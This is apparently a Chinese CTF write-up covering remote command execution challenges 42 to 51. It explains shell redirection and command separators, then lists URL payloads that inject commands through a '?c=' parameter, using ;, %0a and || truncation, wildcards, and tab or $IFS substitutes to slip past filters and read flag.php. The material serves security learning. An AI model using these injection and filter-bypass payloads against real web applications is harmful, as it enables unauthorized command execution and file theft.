远程命令执行第二天

vaneshadow / 2023-05-24 / 原文

42

image-20230509114743916

shell脚本——>/dev/null 2>&1 详解

含义:>代表重定向到哪

/dev/null空设备文件,所有写入的内容都会丢失,俗称黑洞

1表示stdout标准输出,系统默认值为1,>/dev/null等同于1>/dev/null

2表示stderr标准错误

&表示等同于,2>&1表示2的输出定向等同于1

解释:命令1>/dev/null 首先表示标准输出重定向到空设备文件也就是丢弃标准输出。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也被丢弃。

法一:用 ; 截断

url/?c=ls;

url/?c=cat flag.php;

法二:hint用%0a截断

url/?c=cat flag.php%0a 看源码

法三:用命令分隔符||截断
在这里插入图片描述

cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2

若用|则显示第二个命令,即不回显,c输入的是第一个命令

43

image-20230509115046670

比上一题多了cat ; 过滤

执行命令url/?c=tac flag.php%0a

或者执行url/?c=nl flag.php%0a 看源码

nl命令:输出文件内容并自动加上行号

44

image-20230509115251484

flag用通配符

45

在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

payload   ?c=nl%09f???.ph?||ls

46

image-20230509185711289

过滤了 ; cat flag * $ [0-9] 空格

payload:?c=nl%09f???????||ls

47

image-20230509185936914

payload ?c=nl%09f???.php||ls

48

image-20230509190329304

同上

49

image-20230509190644366同上

%09是url编码,不算入过滤的%中,%26是&的url编码????

?c=nl%09f???????||ls 十六进制的空格因该也是可以????

50和51同理

/?c=nl<f%27%27lag.php||ls 闭合的时候一定要是两个'